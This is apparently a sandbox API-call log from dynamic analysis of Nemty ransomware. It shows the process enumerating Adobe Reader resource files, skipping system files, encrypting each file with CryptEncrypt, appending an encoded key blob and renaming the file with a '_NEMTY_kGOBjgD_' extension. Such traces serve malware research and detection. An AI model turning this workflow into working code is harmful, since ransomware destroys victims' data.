[0217.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.206] Sleep (dwMilliseconds=0x5) [0217.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x351b2cd0, dwHighDateTime=0x1d561e8)) [0217.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x351b2cd0, dwHighDateTime=0x1d561e8)) [0217.212] GetLastError () returned 0x0 [0217.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.212] GetLastError () returned 0x0 [0217.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.212] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.212] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.213] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.213] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="x0I+fM1OzQEqt5y4XCRhhFeRQ0TyF/d8WvuSI/rpGUj6BcjS+BxpCPWEhB1Nm7Ls\r\ngJ4fzZzRLOMTjz+2cnKlMc1AiDSnBavR+ZwzECmNFm426sHRyJUOuLKmmiiZDgjl\r\n/Yzbxf2RQ3MMraRGnUHeZjydC1QUubXYn/FIj6vgp2Hxph3cyFCoBUg50N6KrmeL\r\nyt3zNTxQGKGYoj6Fl2sKmz6ZqA9f7mPNxkkOP8z3Wa5dzkTwTzIIAzOHU7xYU5xp\r\n7NEwJ/ineieyZL5VSMtbUTRPIssbBCkCe9QF/SL69QH+I+lHpTP002wAiCbu9Rgh\r\nMAM/ZbbepBibFEXFIzqSmw==\r\n", pcchString=0x653df5c) returned 1 [0217.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.213] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.213] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32684) returned 1 [0217.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7fa0) returned 0x6354c48 [0217.213] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.214] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7fa0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7fa0, lpOverlapped=0x0) returned 1 [0217.217] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.217] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7fa0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7fa0, lpOverlapped=0x0) returned 1 [0217.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.218] SetFilePointer (in: hFile=0x320, lDistanceToMove=32684, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7fac [0217.218] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.218] CloseHandle (hObject=0x320) returned 1 [0217.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.218] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan32.clx._nemty_kgobjgd_")) returned 1 [0217.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.219] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c00, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="dan45.lex", cAlternateFileName="")) returned 1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2=".") returned 1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="..") returned 1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="...") returned 1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="windows") returned -1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="$RECYCLE.BIN") returned 1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="rsa") returned -1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="NTDETECT.COM") returned -1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="ntldr") returned -1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="MSDOS.SYS") returned -1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="IO.SYS") returned -1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="boot.ini") returned 1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="boot.ini") returned 1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="AUTOEXEC.BAT") returned 1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="ntuser.dat") returned -1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="desktop.ini") returned -1 [0217.219] lstrcmpiW (lpString1="dan45.lex", lpString2="CONFIG.SYS") returned 1 [0217.220] lstrcmpiW (lpString1="dan45.lex", lpString2="RECYCLER") returned -1 [0217.220] lstrcmpiW (lpString1="dan45.lex", lpString2="BOOTSECT.BAK") returned 1 [0217.220] lstrcmpiW (lpString1="dan45.lex", lpString2="bootmgr") returned 1 [0217.220] lstrcmpiW (lpString1="dan45.lex", lpString2="programdata") returned -1 [0217.220] lstrcmpiW (lpString1="dan45.lex", lpString2="appdata") returned 1 [0217.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan45.lex", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan45.lex", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan45.lex", lpUsedDefaultChar=0x0) returned 9 [0217.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan45.lex", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan45.lex", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan45.lex", lpUsedDefaultChar=0x0) returned 9 [0217.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan45.lex", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan45.lex", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan45.lex", lpUsedDefaultChar=0x0) returned 9 [0217.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan45.lex", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan45.lex", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan45.lex", lpUsedDefaultChar=0x0) returned 9 [0217.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.220] Sleep (dwMilliseconds=0x5) [0217.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x351d8e30, dwHighDateTime=0x1d561e8)) [0217.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x351d8e30, dwHighDateTime=0x1d561e8)) [0217.228] GetLastError () returned 0x0 [0217.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.228] GetLastError () returned 0x0 [0217.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.228] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.228] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.228] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.228] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="igDiRA4pbmeYpPaWMO4tDpgotHUQullrUwLXlkFTT8Fc0QRW1qPkAU1Y0d0dIEXJ\r\ncyXSZEEDpQV7iFzqzRh2g+PT9RNUX5Ui91p1xxQro33LW9xuYr7oJNCnnaZmOsix\r\nPwgMLS5l8tiysew8LbXWGfwZ9hXe8BkmWdkrOrgsXzaDBOwcAT1iFlHppx/NmvKZ\r\n29CRICqMk17oDPDdqg92ckHETz4J/pSwbiRRi1STPbpsPDdbEIZ9JCNSs5VGz+Y5\r\nAutwvL5qJ5knOvtD5h4de4R0e+fANHvxwxX8PEXQ6LZHBxZ3TXi4gLV8MkVkhzFo\r\neWqS2g9Hyb9HZZFOnC5+nA==\r\n", pcchString=0x653df5c) returned 1 [0217.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan45.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan45.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.229] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=478208) returned 1 [0217.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.229] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.229] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.238] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.239] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.239] SetFilePointer (in: hFile=0x320, lDistanceToMove=478208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c00 [0217.239] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.240] CloseHandle (hObject=0x320) returned 1 [0217.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.241] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan45.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan45.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan45.lex._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan45.lex._nemty_kgobjgd_")) returned 1 [0217.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.242] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a800, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="dan94.ths", cAlternateFileName="")) returned 1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2=".") returned 1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="..") returned 1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="...") returned 1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="windows") returned -1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="$RECYCLE.BIN") returned 1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="rsa") returned -1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="NTDETECT.COM") returned -1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="ntldr") returned -1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="MSDOS.SYS") returned -1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="IO.SYS") returned -1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="boot.ini") returned 1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="boot.ini") returned 1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="AUTOEXEC.BAT") returned 1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="ntuser.dat") returned -1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="desktop.ini") returned -1 